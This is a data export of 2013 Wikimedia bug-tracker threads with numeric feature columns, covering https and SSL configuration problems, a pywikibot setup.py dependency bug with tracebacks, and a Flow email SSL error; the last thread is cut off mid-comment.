237457,"Edits from WMF IP, apparently SSL reverse proxy",Shit. ssl1007-9 needs to be added to the MWc config. I'll depool them for now.,,,1375516721,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,10.0,14.0,19.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0476190476190474,0.8571428571428571,Shit. ssl1007-9 needs to be added to the MWc config. I'll depool them for now.
237447,"Edits from WMF IP, apparently SSL reverse proxy",Adding Ryan and Chris as they were doing things with ssl1001-1009 today.,,,1375507848,,PHID-USER-z3l4i7dl52qicxtephy5,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.066666666666666,1.0,Adding Ryan and Chris as they were doing things with ssl1001-1009 today.
54311,"When using https on Wikidata, only some Wikivoyage links use https","**Author:** `the.anonymouse.wikimedia`

**Description:**
When using a secure connection (https) on Wikidata, all Wikivoyage links should link to the secure page (with the prefix https: ). However, only some Wikivoyages are linked with https.

For example, with https://www.wikidata.org/wiki/Q145 (United Kingdom), here are the results:
Uses https (when using https on Wikidata): de, en, fr, it, nl, ru, sv
Does not use https (regardless of using https on Wikidata): el, es, he, pl, pt, ro, uk

The results are consistent across other items with Wikivoyage links, such as https://www.wikidata.org/wiki/Q30 (United States of America).

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1375249560,1381154557.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fpz2uwebfsofzapihkx7,task_description,resolved,True,c2,1,False,False,True,-4,True,1.0,0.0,0.0,0.5,0.5,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,7.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,13.5,1.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,7.5,15.0,0.0,0.0,0.0,1.5,0.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,3.4551282051282053,0.6346153846153846,"**Author:** CODE

**Description:**
When using a secure connection (https) on Wikidata, all Wikivoyage links should link to the secure page (with the prefix https: ). However, only some Wikivoyages are linked with https.

For example, with URL (United Kingdom), here are the results:
Uses https (when using https on Wikidata): de, en, fr, it, nl, ru, sv
Does not use https (regardless of using https on Wikidata): el, es, he, pl, pt, ro, uk

The results are consistent across other items with Wikivoyage links, such as URL (United States of America).

--------------------------
**Version**: unspecified
**Severity**: critical"
251987,"When using https on Wikidata, only some Wikivoyage links use https",I just checked. This seems to be fixed now. Closing.,,,1381154557,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.3076923076923075,0.8461538461538461,I just checked. This seems to be fixed now. Closing.
251983,"When using https on Wikidata, only some Wikivoyage links use https","The contents of the sites table has some wikivoyage sites with stripped protocol and others without.  This should be fixed when we re-populate the sites table, which needs to happen before next deployment (on Monday).",,,1379530310,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,3,False,,,3,True,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,16.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.255813953488372,0.8837209302325582,"The contents of the sites table has some wikivoyage sites with stripped protocol and others without.  This should be fixed when we re-populate the sites table, which needs to happen before next deployment (on Monday)."
251978,"When using https on Wikidata, only some Wikivoyage links use https","**the.anonymouse.wikimedia** wrote:

Since https is now enabled as the default on Wikimedia sites for most users, this is even more critical now.",,,1378068281,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,4.166666666666667,0.8333333333333334,"**the.anonymouse.wikimedia** wrote:

Since https is now enabled as the default on Wikimedia sites for most users, this is even more critical now."
251973,"When using https on Wikidata, only some Wikivoyage links use https",Thanks for reporting!,,,1375362859,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.75,1.0,Thanks for reporting!
251969,"When using https on Wikidata, only some Wikivoyage links use https","Weird, but confirmed.",,,1375362847,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"Weird, but confirmed."
58389,default labs MediaWiki config will generate https links,"The Puppet templates/labs-localsettings has
if ( array_key_exists( ""SERVER_NAME"", $_SERVER ) ) {
    $wgServer = ""//"" . $_SERVER[""SERVER_NAME""];
}

Because $wgServer is not prefixed with http:, MediaWiki thinks https://servername links will work, thus several places in the code generate them, e.g. Special:UserLogin's _Use secure connection_ link and Echo notification e-mails. But most labs instances don't have working SSL, even via instance-proxy.wmflabs.org/

Project admins can't override this in orig/LocalSettings.php because these lines come after it is require_once'd.

Ideally the puppet LocalSettings would determine if https worked to the labs instance, and if not set
   $wgServer= 'http://' . $_SERVER['SERVER_NAME'];

Possible workarounds include unset ($_SERVER['REQUEST_TIME'] ),  overwriting $wgServer in some later config hook, and configuring SSL on the labs instance (bug 54065).

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://toro.wmflabs.org/wiki/Special:UserLogin",Needs Triage,90.0,1383167520,1437710884.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_description,declined,True,c2,3,False,False,False,9,True,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,3.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,1.0,1.6666666666666667,2.0,0.0,0.0,0.0,0.0,1.3333333333333333,2.6666666666666665,4.666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,18.666666666666668,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,10.333333333333334,1.6666666666666667,1.3333333333333333,3.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,1.6666666666666667,0.0,0.6666666666666666,4.666666666666667,2.6666666666666665,0.0,3.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.094133885438233,0.7505175983436853,"The Puppet templates/labs-localsettings has
if ( array_key_exists( ""SERVER_NAME"", $_SERVER ) ) {
    $wgServer = ""//"" . $_SERVER[""SERVER_NAME""];
}

Because $wgServer is not prefixed with http:, MediaWiki thinks URL links will work, thus several places in the code generate them, e.g. Special:UserLogin's _Use secure connection_ link and Echo notification e-mails. But most labs instances don't have working SSL, even via instance-proxy.wmflabs.org/

Project admins can't override this in orig/LocalSettings.php because these lines come after it is require_once'd.

Ideally the puppet LocalSettings would determine if https worked to the labs instance, and if not set
   $wgServer= 'URL . $_SERVER['SERVER_NAME'];

Possible workarounds include unset ($_SERVER['REQUEST_TIME'] ),  overwriting $wgServer in some later config hook, and configuring SSL on the labs instance (bug 54065).

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
496209,default labs MediaWiki config will generate https links,"Old and unmaintained puppet code, use labs-vagrant instead!",,,1437710884,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_subcomment,,True,c2,3,True,,,99,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Old and unmaintained puppet code, use labs-vagrant instead!"
58386,setup.py should require httplib2,"Test script

Running <code>python setup.py install</code> while in virtualenv does not install automatically the httplib2 dependency.

```
(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
Traceback (most recent call last):
  File ""test.py"", line 4, in <module>
    import pywikibot
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/__init__.py"", line 313, in <module>
    from page import Page, ImagePage, Category, Link, User, ItemPage, PropertyPage, Claim
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 16, in <module>
    import pywikibot.site
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 33, in <module>
    from pywikibot.data import api
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 13, in <module>
    from pywikibot.comms import http
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 30, in <module>
    from httplib2 import SSLHandshakeError
ImportError: No module named httplib2
```

`test.py` is attached.

I am using Python 2.7.3 under `virtualenv` version 1.9.1 on Ubuntu 12.10.

Furthermore installing the dependency with `pip install httplib2` cause the following bug.

```
(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
ERROR: Traceback (most recent call last):
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
    body=paramstring)
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
    raise FatalServerError(str(request.data))
FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

Traceback (most recent call last):
  File ""test.py"", line 12, in <module>
    item = pywikibot.ItemPage.fromPage(wikipage)
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 2527, in fromPage
    repo = page.site.data_repository()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 98, in site
    return self._link.site
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3224, in site
    self.parse()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3207, in parse
    if self._site.case() == 'first-letter':
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1173, in case
    return self.siteinfo['case']
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1167, in siteinfo
    self._getsiteinfo()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1100, in _getsiteinfo
    sidata = sirequest.submit()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 462, in submit
    self._data = super(CachedRequest, self).submit()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
    body=paramstring)
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
    raise FatalServerError(str(request.data))
pywikibot.exceptions.FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
```

Steps to reproduce:
* download core.tar.gz and unzip
* create virtualenv
* run <code>python setup.py install</code> from <code>core</code>
* run <code>python test.py ""Alessandro_Manzoni""</code>

--------------------------
**Version**: core-(2.0)
**Severity**: normal

**Attached**: {F12229}",Needs Triage,90.0,1383163980,1383205592.0,PHID-USER-lkjgj76544v3vn63zgtk,False,,False,PHID-TASK-en7agonusfaxbwj475u2,task_description,resolved,True,c2,3,False,False,True,9,True,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.5,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,9.0,4.51843137254902,0.6129411764705883,"Test script

Running <code>python setup.py install</code> while in virtualenv does not install automatically the httplib2 dependency.

``CODE`CODEtest.pyCODEvirtualenvCODEpip install httplib2CODE`CODE``

Steps to reproduce:
* download core.tar.gz and unzip
* create virtualenv
* run <code>python setup.py install</code> from <code>core</code>
* run <code>python test.py ""Alessandro_Manzoni""</code>

--------------------------
**Version**: core-(2.0)
**Severity**: normal

**Attached**: {F12229}"
265464,setup.py should require httplib2,"Change 92765 merged by jenkins-bot:
Fix dependency installation during setup.py install

https://gerrit.wikimedia.org/r/92765",,,1383201583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.294117647058823,1.0,"Change 92765 merged by jenkins-bot:
Fix dependency installation during setup.py install

GERRIT_URL"
265457,setup.py should require httplib2,"Change 92765 had a related patch set uploaded by Merlijn van Deen:
Fix dependency installation during setup.py install

https://gerrit.wikimedia.org/r/92765",,,1383165224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,1.0,"Change 92765 had a related patch set uploaded by Merlijn van Deen:
Fix dependency installation during setup.py install

GERRIT_URL"
265450,setup.py should require httplib2,"Created attachment 13633
install log

OK, I can reproduce it:

wget http://tools.wmflabs.org/pywikibot/core.tar.gz
tar -xvzf core.tar.gz
cd core
virtualenv .
source bin/activate
python setup.py install | tee installog

results in the attached installog, and not in a working httplib2...

**Attached**: {F12230}",,,1383164675,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7777777777777777,0.746031746031746,"Created attachment 13633
install log

OK, I can reproduce it:

wget URL
tar -xvzf core.tar.gz
cd core
virtualenv .
source bin/activate
python setup.py install | tee installog

results in the attached installog, and not in a working httplib2...

**Attached**: {F12230}"
265444,setup.py should require httplib2,"I'm confused by this, as setup.py /does/ require httplib2:



    install_requires=[
        'httplib2>=0.6.0'
    ],
    dependency_links=[
        'https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1'
    ],



Which core.tar.gz did you download? http://tools.wmflabs.org/pywikibot/core.tar.gz , or some other version?",,,1383164291,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,9.0,4.0,7.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.666666666666667,0.7333333333333333,"I'm confused by this, as setup.py /does/ require httplib2:



    install_requires=[
        'httplib2>=0.6.0'
    ],
    dependency_links=[
        'URL
    ],



Which core.tar.gz did you download? URL , or some other version?"
265436,setup.py should require httplib2,"Of course installing the right dependency:

pip install https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1

Solves the issue. This should be automatic.",,,1383164186,,PHID-USER-lkjgj76544v3vn63zgtk,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.333333333333333,0.8571428571428571,"Of course installing the right dependency:

pip install URL

Solves the issue. This should be automatic."
58280,Flow: SSL error on email notifications,"Visit a link in an email notification for a Flow event – you'll receive an SSL error.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1382995560,1383175363.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-tdujfoz6otc4aeopydss,task_description,resolved,True,c2,3,False,False,True,8,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.675675675675676,0.7027027027027027,"Visit a link in an email notification for a Flow event – you'll receive an SSL error.

--------------------------
**Version**: master
**Severity**: normal"
259300,Flow: SSL error on email notifications,"**bsitu** wrote:

solved by configuring the server",,,1383175363,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.4615384615384617,0.7692307692307693,"**bsitu** wrote:

solved by configuring the server"
259299,Flow: SSL error on email notifications,"**bsitu** wrote:

same for the following code:

global $wgServer;
echo $wgServer;


http://ee-flow.wmflabs.org vs //ee-flow.wmflabs.org",,,1383160996,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.433333333333333,0.7333333333333333,"**bsitu** wrote:

same for the following code:

global $wgServer;
echo $wgServer;


URL vs //ee-flow.wmflabs.org"
259297,Flow: SSL error on email notifications,"**bsitu** wrote:

I guess it's an configuration problem in ee-flow labs instance, the code below outputs 'http' in /maintenance/eval.php and 'https' in a web page

